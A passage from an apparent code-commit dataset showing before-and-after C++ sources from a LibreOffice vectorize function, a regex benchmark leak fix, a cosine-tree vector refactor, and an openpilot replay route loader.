\"View.hxx\"\n#endif\n#ifndef SD_VIEW_SHELL_HXX\n#include \"ViewShell.hxx\"\n#endif\n#ifndef SD_WINDOW_HXX\n#include \"Window.hxx\"\n#endif\n#include \"strings.hrc\"\n#include \"sdresid.hxx\"\n\/\/CHINA001 #include \"vectdlg.hxx\"\n#include \"sdabstdlg.hxx\" \/\/CHINA001\n#include \"vectdlg.hrc\" \/\/CHINA001\nnamespace sd {\n\nTYPEINIT1( FuVectorize, FuPoor );\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuVectorize::FuVectorize (\n ViewShell* pViewSh,\n ::sd::Window* pWin,\n ::sd::View* pView,\n SdDrawDocument* pDoc,\n SfxRequest& rReq)\n : FuPoor (pViewSh, pWin, pView, pDoc, rReq)\n{\n}\n\nFunctionReference FuVectorize::Create( ViewShell* pViewSh, ::sd::Window* pWin, ::sd::View* pView, SdDrawDocument* pDoc, SfxRequest& rReq )\n{\n FunctionReference xFunc( new FuVectorize( pViewSh, pWin, pView, pDoc, rReq ) );\n xFunc->DoExecute(rReq);\n return xFunc;\n}\n\nvoid FuVectorize::DoExecute( SfxRequest& rReq )\n{\n const SdrMarkList& rMarkList = pView->GetMarkedObjectList();\n\n if( rMarkList.GetMarkCount() == 1 )\n {\n SdrObject* pObj = rMarkList.GetMark( 0 )->GetMarkedSdrObj();\n\n if( pObj && pObj->ISA( SdrGrafObj ) )\n {\n SdAbstractDialogFactory* pFact = SdAbstractDialogFactory::Create();\n AbstractSdVectorizeDlg* pDlg = pFact ? pFact->CreateSdVectorizeDlg(ResId( DLG_VECTORIZE ), pWindow, ( (SdrGrafObj*) pObj )->GetGraphic().GetBitmap(), pDocSh ) : 0;\n DBG_ASSERT(pDlg, \"Dialogdiet fail!\");\n if( pDlg && pDlg->Execute() == RET_OK )\n {\n const GDIMetaFile& rMtf = pDlg->GetGDIMetaFile(); \/\/CHINA001 const GDIMetaFile& rMtf = aDlg.GetGDIMetaFile();\n SdrPageView* pPageView = pView->GetPageViewPvNum( 0 );\n\n if( pPageView && rMtf.GetActionCount() )\n {\n SdrGrafObj* pVectObj = (SdrGrafObj*) pObj->Clone();\n String aStr( pView->GetDescriptionOfMarkedObjects() );\n\n aStr.Append( sal_Unicode(' ') );\n aStr.Append( String( SdResId( STR_UNDO_VECTORIZE ) ) );\n pView->BegUndo( aStr );\n pVectObj->SetGraphic( rMtf );\n pView->ReplaceObject( pObj, *pPageView, pVectObj );\n pView->EndUndo();\n }\n }\n delete pDlg;\n }\n }\n}\n\n} \/\/ end of namespace sd\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <assert.h>\n#include <ctype.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include <sys\/time.h>\n#include <pthread.h>\n\n#include \"slre.h\"\n\n#include \"..\/..\/utils\/timer.h\"\n#include \"..\/..\/utils\/memoryman.h\"\n\n#define MAXCAPS 1000000\n#define EXPRESSIONS 100\n#define QUESTIONS 200\n\n\/* Data *\/\nchar *exps[256];\nstruct slre *slre[EXPRESSIONS];\nchar *bufs[MAXCAPS];\nint temp[512], buf_len[512];\nstruct cap **caps;\n\nint iterations;\nint NTHREADS;\nint numQs;\nint numExps;\nint s_max = 512;\n\nvoid *slre_thread(void *tid) {\n int start, end, *mytid;\n mytid = (int *)tid;\n start = (*mytid * iterations);\n end = start + iterations;\n\n for (int i = start; i < end; ++i) {\n for (int j = 0; j < numQs; ++j) {\n slre_match(slre[i], bufs[j], buf_len[j], caps[i * numQs + j]);\n }\n }\n\n return NULL;\n}\n\nint fill(FILE *f, char **toFill, int *bufLen, int len) {\n int i = 0;\n\n while (i < len) {\n int ch = getc(f);\n if (ch == EOF) return i;\n bufLen[i] = 0;\n char *s = (char *)sirius_malloc(5000 + 1);\n while (1) {\n s[bufLen[i]] = ch;\n ++bufLen[i];\n ch = getc(f);\n if (ch == '\\n') {\n s[bufLen[i]] = 0;\n toFill[i] = s;\n ++i;\n break;\n }\n }\n }\n return i;\n}\n\nint main(int argc, char *argv[]) {\n if (argc < 4) {\n fprintf(stderr, \"[ERROR] Invalid arguments provided.\\n\\n\");\n fprintf(stderr,\n \"Usage: %s [NUMBER OF THREADS] [LIST FILE] [QUESTION FILE]\\n\\n\",\n argv[0]);\n exit(0);\n }\n \/* Timing *\/\n STATS_INIT(\"kernel\", \"regular_expression\");\n PRINT_STAT_STRING(\"abrv\", \"pthread_regex\");\n\n NTHREADS = atoi(argv[1]);\n PRINT_STAT_INT(\"threads\", NTHREADS);\n\n FILE *f = fopen(argv[2], \"r\");\n if (f == 0) {\n fprintf(stderr, \"File %s not found\\n\", argv[1]);\n exit(1);\n }\n numExps = fill(f, exps, temp, EXPRESSIONS);\n PRINT_STAT_INT(\"expressions\", numExps);\n\n FILE *f1 = fopen(argv[3], \"r\");\n if (f1 == 0) {\n fprintf(stderr, \"File %s not found\\n\", argv[2]);\n exit(1);\n }\n numQs = fill(f1, bufs, buf_len, QUESTIONS);\n PRINT_STAT_INT(\"questions\", numQs);\n\n tic();\n for (int i = 0; i < numExps; ++i) {\n slre[i] = (struct slre *)sirius_malloc(sizeof(struct slre));\n if (!slre_compile(slre[i], exps[i])) {\n printf(\"error compiling: %s\\n\", exps[i]);\n }\n }\n PRINT_STAT_DOUBLE(\"regex_compile\", toc());\n\n caps = (struct cap **)sirius_malloc(numExps * numQs * sizeof(struct cap));\n for (int i = 0; i < numExps * numQs; ++i) {\n char *s = (char *)sirius_malloc(s_max);\n struct cap *z = (struct cap *)sirius_malloc(sizeof(struct cap));\n z->ptr = s;\n caps[i] = z;\n }\n\n tic();\n\n int tids[NTHREADS];\n pthread_t threads[NTHREADS];\n pthread_attr_t attr;\n iterations = numExps \/ NTHREADS;\n pthread_attr_init(&attr);\n pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);\n\n for (int i = 0; i < NTHREADS; i++) {\n tids[i] = i;\n pthread_create(&threads[i], &attr, slre_thread, (void *)&tids[i]);\n }\n\n for (int i = 0; i < NTHREADS; i++) pthread_join(threads[i], NULL);\n\n PRINT_STAT_DOUBLE(\"pthread_regex\", toc());\n\n#ifdef TESTING\n f = fopen(\"..\/input\/regex_slre.pthread\", \"w\");\n\n for (int i = 0; i < numExps * numQs; ++i) fprintf(f, \"%s\\n\", caps[i]->ptr);\n\n fclose(f);\n#endif\n\n sirius_free(caps);\n\n STATS_END();\n\n return 0;\n}\n<commit_msg>sirius-suite\/regex\/pthread\/main.cpp: fix resource leak<commit_after>#include <stdio.h>\n#include <assert.h>\n#include <ctype.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include <sys\/time.h>\n#include <pthread.h>\n\n#include \"slre.h\"\n\n#include \"..\/..\/utils\/timer.h\"\n#include \"..\/..\/utils\/memoryman.h\"\n\n#define MAXCAPS 1000000\n#define EXPRESSIONS 100\n#define QUESTIONS 200\n\n\/* Data *\/\nchar *exps[256];\nstruct slre *slre[EXPRESSIONS];\nchar *bufs[MAXCAPS];\nint temp[512], buf_len[512];\nstruct cap **caps;\n\nint iterations;\nint NTHREADS;\nint numQs;\nint numExps;\nint s_max = 512;\n\nvoid *slre_thread(void *tid) {\n int start, end, *mytid;\n mytid = (int *)tid;\n start = (*mytid * iterations);\n end = start + iterations;\n\n for (int i = start; i < end; ++i) {\n for (int j = 0; j < numQs; ++j) {\n slre_match(slre[i], bufs[j], buf_len[j], caps[i * numQs + j]);\n }\n }\n\n return NULL;\n}\n\nint fill(FILE *f, char **toFill, int *bufLen, int len) {\n int i = 0;\n\n while (i < len) {\n int ch = getc(f);\n if (ch == EOF) return i;\n bufLen[i] = 0;\n char *s = (char *)sirius_malloc(5000 + 1);\n while (1) {\n s[bufLen[i]] = ch;\n ++bufLen[i];\n ch = getc(f);\n if (ch == '\\n') {\n s[bufLen[i]] = 0;\n toFill[i] = s;\n ++i;\n break;\n }\n }\n }\n return i;\n}\n\nint main(int argc, char *argv[]) {\n if (argc < 4) {\n fprintf(stderr, \"[ERROR] Invalid arguments provided.\\n\\n\");\n fprintf(stderr,\n \"Usage: %s [NUMBER OF THREADS] [LIST FILE] [QUESTION FILE]\\n\\n\",\n argv[0]);\n exit(0);\n }\n \/* Timing *\/\n STATS_INIT(\"kernel\", \"regular_expression\");\n PRINT_STAT_STRING(\"abrv\", \"pthread_regex\");\n\n NTHREADS = atoi(argv[1]);\n PRINT_STAT_INT(\"threads\", NTHREADS);\n\n FILE *f = fopen(argv[2], \"r\");\n if (f == 0) {\n fprintf(stderr, \"File %s not found\\n\", argv[1]);\n exit(1);\n }\n numExps = fill(f, exps, temp, EXPRESSIONS);\n PRINT_STAT_INT(\"expressions\", numExps);\n\n FILE *f1 = fopen(argv[3], \"r\");\n if (f1 == 0) {\n fprintf(stderr, \"File %s not found\\n\", argv[2]);\n exit(1);\n }\n numQs = fill(f1, bufs, buf_len, QUESTIONS);\n PRINT_STAT_INT(\"questions\", numQs);\n\n tic();\n for (int i = 0; i < numExps; ++i) {\n slre[i] = (struct slre *)sirius_malloc(sizeof(struct slre));\n if (!slre_compile(slre[i], exps[i])) {\n printf(\"error compiling: %s\\n\", exps[i]);\n }\n }\n PRINT_STAT_DOUBLE(\"regex_compile\", toc());\n\n caps = (struct cap **)sirius_malloc(numExps * numQs * sizeof(struct cap));\n for (int i = 0; i < numExps * numQs; ++i) {\n char *s = (char *)sirius_malloc(s_max);\n struct cap *z = (struct cap *)sirius_malloc(sizeof(struct cap));\n z->ptr = s;\n caps[i] = z;\n }\n\n tic();\n\n int tids[NTHREADS];\n pthread_t threads[NTHREADS];\n pthread_attr_t attr;\n iterations = numExps \/ NTHREADS;\n pthread_attr_init(&attr);\n pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);\n\n for (int i = 0; i < NTHREADS; i++) {\n tids[i] = i;\n pthread_create(&threads[i], &attr, slre_thread, (void *)&tids[i]);\n }\n\n for (int i = 0; i < NTHREADS; i++) pthread_join(threads[i], NULL);\n\n PRINT_STAT_DOUBLE(\"pthread_regex\", toc());\n\n#ifdef TESTING\n fclose(f);\n f = fopen(\"..\/input\/regex_slre.pthread\", \"w\");\n\n for (int i = 0; i < numExps * numQs; ++i) fprintf(f, \"%s\\n\", caps[i]->ptr);\n\n#endif\n fclose(f);\n fclose(f1);\n\n sirius_free(caps);\n\n STATS_END();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"cosine_tree.h\"\n\n\/\/ L2 norm of a specific column in a matrix\ndouble columnNormL2(const Matrix& A, index_t i_col) {\n Vector col;\n A.MakeColumnVector(i_col, &col);\n return la::LengthEuclidean(col);\n}\n\n\/\/ Zero tolerance\n#define eps (1e-16)\nbool isZero(double d) {\n return (d<eps) && (d>-eps);\n}\n\n\/\/ Init a root cosine node from a matrix\nCosineNode::CosineNode(const Matrix& A) {\n this->A_.Alias(A);\n origIndices_.reserve(A_.n_cols());\n norms_.reserve(A_.n_cols());\n\n int newval = A_.n_cols();\n\n\n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n origIndices_.push_back(0); \n norms_.push_back(0);\n }\n\n \n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n origIndices_[i_col] = i_col;\n norms_[i_col] = columnNormL2(A_, i_col);\n }\n\n parent_ = NULL;\n left_ = NULL;\n right_ = NULL;\n isLeft_ = false;\n\n CalStats();\n}\n\n\/\/ Init a child cosine node from its parent and a set of the parent's columns\nCosineNode::CosineNode(CosineNode& parent, \n\t\t const std::vector<int>& indices, bool isLeft) {\n A_.Alias(parent.A_);\n origIndices_.reserve(indices.size());\n norms_.reserve(n_cols());\n \nfor(index_t i_col = 0; i_col < indices.size(); i_col++) { \n norms_.push_back(0);\n origIndices_.push_back(0);\n }\n\n for (index_t i_col = 0; i_col < origIndices_.size(); i_col++) {\n origIndices_[i_col] = parent.origIndices_[indices[i_col]];\n norms_[i_col] = parent.norms_[indices[i_col]];\n }\n parent_ = &parent;\n left_ = NULL;\n right_ = NULL;\n isLeft_ = isLeft;\n \n if (isLeft) parent.left_ = this;\n else parent.right_ = this;\n CalStats();\n}\n\nvoid CosineNode::CalStats() {\n \/\/ Calculate cummlulative sum square of L2 norms\n\n cum_norms_.reserve(A_.n_cols());\n\n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n cum_norms_.push_back(0);\n } \n\n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n cum_norms_[i_col] = ((i_col > 0) ? cum_norms_[i_col-1]:0)\n + math::Sqr(norms_[i_col]);\n }\n \/\/ Calculate mean vector\n mean_.Init(A_.n_rows()); mean_.SetZero();\n for (index_t i_col = 0; i_col < n_cols(); i_col++) {\n Vector col;\n GetColumn(i_col, &col);\n la::AddTo(col, &mean_);\n }\n la::Scale(1.0\/(double)origIndices_.size(), &mean_);\n}\n\nvoid CosineNode::ChooseCenter(Vector* center) {\n\n double r = (double)rand()\/RAND_MAX * cum_norms_[n_cols()-1];\n index_t i_col;\n for (i_col = 0; i_col < n_cols(); i_col++)\n if (cum_norms_[i_col] >= r) break;\n GetColumn(i_col, center);\n}\n\nvoid CosineNode::CalCosines(const Vector& center, \n\t\t\t std::vector<double>* cosines) {\n\n for(index_t i_col=0; i_col < n_cols(); i_col++) {\n (*cosines).push_back(0);\n }\n\n double centerL2 = la::LengthEuclidean(center);\n \n for (index_t i_col = 0; i_col < n_cols(); i_col++)\n { \n \/\/ if col is a zero vector then push it to the left node\n if (isZero(norms_[i_col]))\n (*cosines)[i_col] = 2;\n else {\n Vector col;\n GetColumn(i_col, &col);\n double numerator = la::Dot(center, col);\n double denominator = centerL2 * norms_[i_col];\n (*cosines)[i_col] = numerator\/denominator;\n }\n }\n}\n\nvoid CosineNode::CreateIndices(std::vector<int>* indices) {\n indices->reserve(n_cols());\n \n for (index_t i_col = 0; i_col < n_cols(); i_col++)\n {\n (*indices).push_back(0);\n }\n\n for (index_t i_col = 0; i_col < n_cols(); i_col++)\n (*indices)[i_col] = i_col;\n}\n\n\/\/ Quicksort partitioning procedure\nindex_t qpartition(std::vector<double>& key, std::vector<int>& data,\n\t\tindex_t left, index_t right) {\n index_t j = left;\n double x = key[left];\n \n for (index_t i = left+1; i <= right; i++)\n { \n \n if (key[i] >= x) {\n j++;\n double tmp_d = key[i]; key[i] = key[j]; key[j] = tmp_d;\n index_t tmp_i = data[i]; data[i] = data[j]; data[j] = tmp_i;\n }\n }\n\n double tmp_d = key[left]; key[left] = key[j]; key[j] = tmp_d;\n index_t tmp_i = data[left]; data[left] = data[j]; data[j] = tmp_i;\n return j;\n}\n\n\n\/\/ Quicksort on the cosine values\nvoid qsort(std::vector<double>& key, std::vector<int>& data,\n\t index_t left, index_t right) {\n\n if (left >= right) return;\n index_t middle = qpartition(key, data, left, right);\n qsort(key, data, left, middle-1);\n qsort(key, data, middle+1, right);\n}\n\nvoid Sort(std::vector<double>& key, std::vector<int>& data) {\n qsort(key, data, 0, key.size()-1);\n}\n\n\/\/ Calculate the split point where the cosines values are closer\n\/\/ to the minimum cosine value than the maximum cosine value\nindex_t calSplitPoint(const std::vector<double>& key) {\n double leftKey = key[0];\n double rightKey = key[key.size()-1];\n index_t i = 0;\n while (leftKey - key[i] <= key[i] - rightKey && i < key.size()) i++;\n \/\/printf(\"i = %d\\n\", i);\n return i;\n}\n\n\/\/ Init a subcopy of an array list\nvoid InitSubCopy(const std::vector<int>& src, index_t pos, index_t size,\n\t\t std::vector<int>* dst) {\n\n dst->reserve(size);\n for (index_t i = 0; i < size; i++)\n (*dst).push_back(0);\n\n for (index_t i = 0; i < size; i++)\n (*dst)[i] = src[pos+i];\n}\n\n\/\/ Split the indices at the split point\nvoid splitIndices(std::vector<int>& indices, int leftSize,\n\t\t std::vector<int>* leftIdx, std::vector<int>* rightIdx) {\n InitSubCopy(indices, 0, leftSize, leftIdx);\n InitSubCopy(indices, leftSize, indices.size()-leftSize, rightIdx);\n}\n\n\/\/ Split a cosine tree node by choose a random center, and sort\n\/\/ the cosine values decreasingly, then choose a split point\n\/\/ by calling calSplitPoint()\n\/\/ This procedure won't split a node if either child has the same\n\/\/ set of columns as the parent\nvoid CosineNode::Split() {\n\n if (n_cols() < 2) return;\n Vector center;\n std::vector<double> cosines;\n std::vector<int> indices, leftIdx, rightIdx;\n\n ChooseCenter(¢er);\n\n CalCosines(center, &cosines);\n\n CreateIndices(&indices);\n\n Sort(cosines, indices);\n\n index_t leftSize = calSplitPoint(cosines);\n\n if (leftSize == n_cols() || leftSize == 0) return;\n \n splitIndices(indices, leftSize, &leftIdx, &rightIdx);\n \n left_ = new CosineNode(*this, leftIdx, true);\n right_ = new CosineNode(*this, rightIdx, false);\n}\n\n<commit_msg>--Convert to boost unit test framework, ticket 85; replace reserve with resize()<commit_after>#include \"cosine_tree.h\"\n\n\/\/ L2 norm of a specific column in a matrix\ndouble columnNormL2(const Matrix& A, index_t i_col) {\n Vector col;\n A.MakeColumnVector(i_col, &col);\n return la::LengthEuclidean(col);\n}\n\n\/\/ Zero tolerance\n#define eps (1e-16)\nbool isZero(double d) {\n return (d<eps) && (d>-eps);\n}\n\n\/\/ Init a root cosine node from a matrix\nCosineNode::CosineNode(const Matrix& A) {\n this->A_.Alias(A);\n origIndices_.resize(A_.n_cols());\n norms_.resize(A_.n_cols());\n\n int newval = A_.n_cols();\n\n \n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n origIndices_[i_col] = i_col;\n norms_[i_col] = columnNormL2(A_, i_col);\n }\n\n parent_ = NULL;\n left_ = NULL;\n right_ = NULL;\n isLeft_ = false;\n\n CalStats();\n}\n\n\/\/ Init a child cosine node from its parent and a set of the parent's columns\nCosineNode::CosineNode(CosineNode& parent, \n\t\t const std::vector<int>& indices, bool isLeft) {\n A_.Alias(parent.A_);\n origIndices_.resize(indices.size());\n norms_.resize(n_cols());\n\n for (index_t i_col = 0; i_col < origIndices_.size(); i_col++) {\n origIndices_[i_col] = parent.origIndices_[indices[i_col]];\n norms_[i_col] = parent.norms_[indices[i_col]];\n }\n parent_ = &parent;\n left_ = NULL;\n right_ = NULL;\n isLeft_ = isLeft;\n \n if (isLeft) parent.left_ = this;\n else parent.right_ = this;\n CalStats();\n}\n\nvoid CosineNode::CalStats() {\n \/\/ Calculate cummlulative sum square of L2 norms\n\n cum_norms_.resize(A_.n_cols());\n \n\n for (index_t i_col = 0; i_col < A_.n_cols(); i_col++) {\n cum_norms_[i_col] = ((i_col > 0) ? cum_norms_[i_col-1]:0)\n + math::Sqr(norms_[i_col]);\n }\n \/\/ Calculate mean vector\n mean_.Init(A_.n_rows()); mean_.SetZero();\n for (index_t i_col = 0; i_col < n_cols(); i_col++) {\n Vector col;\n GetColumn(i_col, &col);\n la::AddTo(col, &mean_);\n }\n la::Scale(1.0\/(double)origIndices_.size(), &mean_);\n}\n\nvoid CosineNode::ChooseCenter(Vector* center) {\n\n double r = (double)rand()\/RAND_MAX * cum_norms_[n_cols()-1];\n index_t i_col;\n for (i_col = 0; i_col < n_cols(); i_col++)\n if (cum_norms_[i_col] >= r) break;\n GetColumn(i_col, center);\n}\n\nvoid CosineNode::CalCosines(const Vector& center, \n\t\t\t std::vector<double>* cosines) {\n\n double centerL2 = la::LengthEuclidean(center);\n \n for (index_t i_col = 0; i_col < n_cols(); i_col++)\n { \n \/\/ if col is a zero vector then push it to the left node\n if (isZero(norms_[i_col]))\n (*cosines)[i_col] = 2;\n else {\n Vector col;\n GetColumn(i_col, &col);\n double numerator = la::Dot(center, col);\n double denominator = centerL2 * norms_[i_col];\n (*cosines)[i_col] = numerator\/denominator;\n }\n }\n}\n\nvoid CosineNode::CreateIndices(std::vector<int>* indices) {\n \n indices->resize(n_cols());\n\n for (index_t i_col = 0; i_col < n_cols(); i_col++)\n (*indices)[i_col] = i_col;\n}\n\n\/\/ Quicksort partitioning procedure\nindex_t qpartition(std::vector<double>& key, std::vector<int>& data,\n\t\tindex_t left, index_t right) {\n index_t j = left;\n double x = key[left];\n \n for (index_t i = left+1; i <= right; i++)\n { \n \n if (key[i] >= x) {\n j++;\n double tmp_d = key[i]; key[i] = key[j]; key[j] = tmp_d;\n index_t tmp_i = data[i]; data[i] = data[j]; data[j] = tmp_i;\n }\n }\n\n double tmp_d = key[left]; key[left] = key[j]; key[j] = tmp_d;\n index_t tmp_i = data[left]; data[left] = data[j]; data[j] = tmp_i;\n return j;\n}\n\n\n\/\/ Quicksort on the cosine values\nvoid qsort(std::vector<double>& key, std::vector<int>& data,\n\t index_t left, index_t right) {\n\n if (left >= right) return;\n index_t middle = qpartition(key, data, left, right);\n qsort(key, data, left, middle-1);\n qsort(key, data, middle+1, right);\n}\n\nvoid Sort(std::vector<double>& key, std::vector<int>& data) {\n qsort(key, data, 0, key.size()-1);\n}\n\n\/\/ Calculate the split point where the cosines values are closer\n\/\/ to the minimum cosine value than the maximum cosine value\nindex_t calSplitPoint(const std::vector<double>& key) {\n double leftKey = key[0];\n double rightKey = key[key.size()-1];\n index_t i = 0;\n while (leftKey - key[i] <= key[i] - rightKey && i < key.size()) i++;\n \/\/printf(\"i = %d\\n\", i);\n return i;\n}\n\n\/\/ Init a subcopy of an array list\nvoid InitSubCopy(const std::vector<int>& src, index_t pos, index_t size,\n\t\t std::vector<int>* dst) {\n\n dst->resize(size);\n\n for (index_t i = 0; i < size; i++)\n (*dst)[i] = src[pos+i];\n}\n\n\/\/ Split the indices at the split point\nvoid splitIndices(std::vector<int>& indices, int leftSize,\n\t\t std::vector<int>* leftIdx, std::vector<int>* rightIdx) {\n InitSubCopy(indices, 0, leftSize, leftIdx);\n InitSubCopy(indices, leftSize, indices.size()-leftSize, rightIdx);\n}\n\n\/\/ Split a cosine tree node by choose a random center, and sort\n\/\/ the cosine values decreasingly, then choose a split point\n\/\/ by calling calSplitPoint()\n\/\/ This procedure won't split a node if either child has the same\n\/\/ set of columns as the parent\nvoid CosineNode::Split() {\n\n if (n_cols() < 2) return;\n Vector center;\n std::vector<double> cosines;\n std::vector<int> indices, leftIdx, rightIdx;\n\n ChooseCenter(¢er);\n\n CalCosines(center, &cosines);\n\n CreateIndices(&indices);\n\n Sort(cosines, indices);\n\n index_t leftSize = calSplitPoint(cosines);\n\n if (leftSize == n_cols() || leftSize == 0) return;\n \n splitIndices(indices, leftSize, &leftIdx, &rightIdx);\n \n left_ = new CosineNode(*this, leftIdx, true);\n right_ = new CosineNode(*this, rightIdx, false);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"selfdrive\/ui\/replay\/route.h\"\n\n#include <QDir>\n#include <QEventLoop>\n#include <QJsonArray>\n#include <QJsonDocument>\n#include <QRegExp>\n#include <QtConcurrent>\n\n#include \"selfdrive\/hardware\/hw.h\"\n#include \"selfdrive\/ui\/qt\/api.h\"\n#include \"selfdrive\/ui\/replay\/replay.h\"\n#include \"selfdrive\/ui\/replay\/util.h\"\n\nRoute::Route(const QString &route, const QString &data_dir) : data_dir_(data_dir) {\n route_ = parseRoute(route);\n}\n\nRouteIdentifier Route::parseRoute(const QString &str) {\n QRegExp rx(R\"(^([a-z0-9]{16})([|_\/])(\\d{4}-\\d{2}-\\d{2}--\\d{2}-\\d{2}-\\d{2})(?:(--|\/)(\\d*))?$)\");\n if (rx.indexIn(str) == -1) return {};\n\n const QStringList list = rx.capturedTexts();\n return {list[1], list[3], list[5].toInt(), list[1] + \"|\" + list[3]};\n}\n\nbool Route::load() {\n if (route_.str.isEmpty()) {\n qInfo() << \"invalid route format\";\n return false;\n }\n return data_dir_.isEmpty() ? loadFromServer() : loadFromLocal();\n}\n\nbool Route::loadFromServer() {\n QEventLoop loop;\n HttpRequest http(nullptr, !Hardware::PC());\n QObject::connect(&http, &HttpRequest::requestDone, [&](const QString &json, bool success) {\n loop.exit(success ? loadFromJson(json) : 0);\n });\n http.sendRequest(\"https:\/\/api.commadotai.com\/v1\/route\/\" + route_.str + \"\/files\");\n return loop.exec();\n}\n\nbool Route::loadFromJson(const QString &json) {\n QRegExp rx(R\"(\\\/(\\d+)\\\/)\");\n for (const auto &value : QJsonDocument::fromJson(json.trimmed().toUtf8()).object()) {\n for (const auto &url : value.toArray()) {\n QString url_str = url.toString();\n if (rx.indexIn(url_str) != -1) {\n addFileToSegment(rx.cap(1).toInt(), url_str);\n }\n }\n }\n return !segments_.empty();\n}\n\nbool Route::loadFromLocal() {\n QDir log_dir(data_dir_);\n for (const auto &folder : log_dir.entryList(QDir::Dirs | QDir::NoDot | QDir::NoDotDot, QDir::NoSort)) {\n int pos = folder.lastIndexOf(\"--\");\n if (pos != -1 && folder.left(pos) == route_.timestamp) {\n const int seg_num = folder.mid(pos + 2).toInt();\n QDir segment_dir(log_dir.filePath(folder));\n for (const auto &f : segment_dir.entryList(QDir::Files)) {\n addFileToSegment(seg_num, segment_dir.absoluteFilePath(f));\n }\n }\n }\n return !segments_.empty();\n}\n\nvoid Route::addFileToSegment(int n, const QString &file) {\n const QString name = QUrl(file).fileName();\n if (name == \"rlog.bz2\") {\n segments_[n].rlog = file;\n } else if (name == \"qlog.bz2\") {\n segments_[n].qlog = file;\n } else if (name == \"fcamera.hevc\") {\n segments_[n].road_cam = file;\n } else if (name == \"dcamera.hevc\") {\n segments_[n].driver_cam = file;\n } else if (name == \"ecamera.hevc\") {\n segments_[n].wide_road_cam = file;\n } else if (name == \"qcamera.ts\") {\n segments_[n].qcamera = file;\n }\n}\n\n\/\/ class Segment\n\nSegment::Segment(int n, const SegmentFile &files, uint32_t flags) : seg_num(n), flags(flags) {\n \/\/ [RoadCam, DriverCam, WideRoadCam, log]. fallback to qcamera\/qlog\n const QString file_list[] = {\n (flags & REPLAY_FLAG_QCAMERA) || files.road_cam.isEmpty() ? files.qcamera : files.road_cam,\n flags & REPLAY_FLAG_DCAM ? files.driver_cam : \"\",\n flags & REPLAY_FLAG_ECAM ? files.wide_road_cam : \"\",\n files.rlog.isEmpty() ? files.qlog : files.rlog,\n };\n for (int i = 0; i < std::size(file_list); i++) {\n if (!file_list[i].isEmpty()) {\n loading_++;\n synchronizer_.addFuture(QtConcurrent::run([=] { loadFile(i, file_list[i].toStdString()); }));\n }\n }\n}\n\nSegment::~Segment() {\n disconnect();\n abort_ = true;\n synchronizer_.setCancelOnWait(true);\n synchronizer_.waitForFinished();\n}\n\nvoid Segment::loadFile(int id, const std::string file) {\n const bool local_cache = !(flags & REPLAY_FLAG_NO_FILE_CACHE);\n bool success = false;\n if (id < MAX_CAMERAS) {\n frames[id] = std::make_unique<FrameReader>();\n success = frames[id]->load(file, flags & REPLAY_FLAG_NO_CUDA, &abort_, local_cache, 20 * 1024 * 1024, 3);\n } else {\n log = std::make_unique<LogReader>();\n success = log->load(file, &abort_, local_cache, 0, 3);\n }\n\n if (!success) {\n \/\/ abort all loading jobs.\n abort_ = true;\n }\n\n if (--loading_ == 0) {\n emit loadFinished(!abort_);\n }\n}\n<commit_msg>replay\/segment: pass member function pointer to QtConcurrent::run (#23312)<commit_after>#include \"selfdrive\/ui\/replay\/route.h\"\n\n#include <QDir>\n#include <QEventLoop>\n#include <QJsonArray>\n#include <QJsonDocument>\n#include <QRegExp>\n#include <QtConcurrent>\n\n#include \"selfdrive\/hardware\/hw.h\"\n#include \"selfdrive\/ui\/qt\/api.h\"\n#include \"selfdrive\/ui\/replay\/replay.h\"\n#include \"selfdrive\/ui\/replay\/util.h\"\n\nRoute::Route(const QString &route, const QString &data_dir) : data_dir_(data_dir) {\n route_ = parseRoute(route);\n}\n\nRouteIdentifier Route::parseRoute(const QString &str) {\n QRegExp rx(R\"(^([a-z0-9]{16})([|_\/])(\\d{4}-\\d{2}-\\d{2}--\\d{2}-\\d{2}-\\d{2})(?:(--|\/)(\\d*))?$)\");\n if (rx.indexIn(str) == -1) return {};\n\n const QStringList list = rx.capturedTexts();\n return {list[1], list[3], list[5].toInt(), list[1] + \"|\" + list[3]};\n}\n\nbool Route::load() {\n if (route_.str.isEmpty()) {\n qInfo() << \"invalid route format\";\n return false;\n }\n return data_dir_.isEmpty() ? loadFromServer() : loadFromLocal();\n}\n\nbool Route::loadFromServer() {\n QEventLoop loop;\n HttpRequest http(nullptr, !Hardware::PC());\n QObject::connect(&http, &HttpRequest::requestDone, [&](const QString &json, bool success) {\n loop.exit(success ? loadFromJson(json) : 0);\n });\n http.sendRequest(\"https:\/\/api.commadotai.com\/v1\/route\/\" + route_.str + \"\/files\");\n return loop.exec();\n}\n\nbool Route::loadFromJson(const QString &json) {\n QRegExp rx(R\"(\\\/(\\d+)\\\/)\");\n for (const auto &value : QJsonDocument::fromJson(json.trimmed().toUtf8()).object()) {\n for (const auto &url : value.toArray()) {\n QString url_str = url.toString();\n if (rx.indexIn(url_str) != -1) {\n addFileToSegment(rx.cap(1).toInt(), url_str);\n }\n }\n }\n return !segments_.empty();\n}\n\nbool Route::loadFromLocal() {\n QDir log_dir(data_dir_);\n for (const auto &folder : log_dir.entryList(QDir::Dirs | QDir::NoDot | QDir::NoDotDot, QDir::NoSort)) {\n int pos = folder.lastIndexOf(\"--\");\n if (pos != -1 && folder.left(pos) == route_.timestamp) {\n const int seg_num = folder.mid(pos + 2).toInt();\n QDir segment_dir(log_dir.filePath(folder));\n for (const auto &f : segment_dir.entryList(QDir::Files)) {\n addFileToSegment(seg_num, segment_dir.absoluteFilePath(f));\n }\n }\n }\n return !segments_.empty();\n}\n\nvoid Route::addFileToSegment(int n, const QString &file) {\n const QString name = QUrl(file).fileName();\n if (name == \"rlog.bz2\") {\n segments_[n].rlog = file;\n } else if (name == \"qlog.bz2\") {\n segments_[n].qlog = file;\n } else if (name == \"fcamera.hevc\") {\n segments_[n].road_cam = file;\n } else if (name == 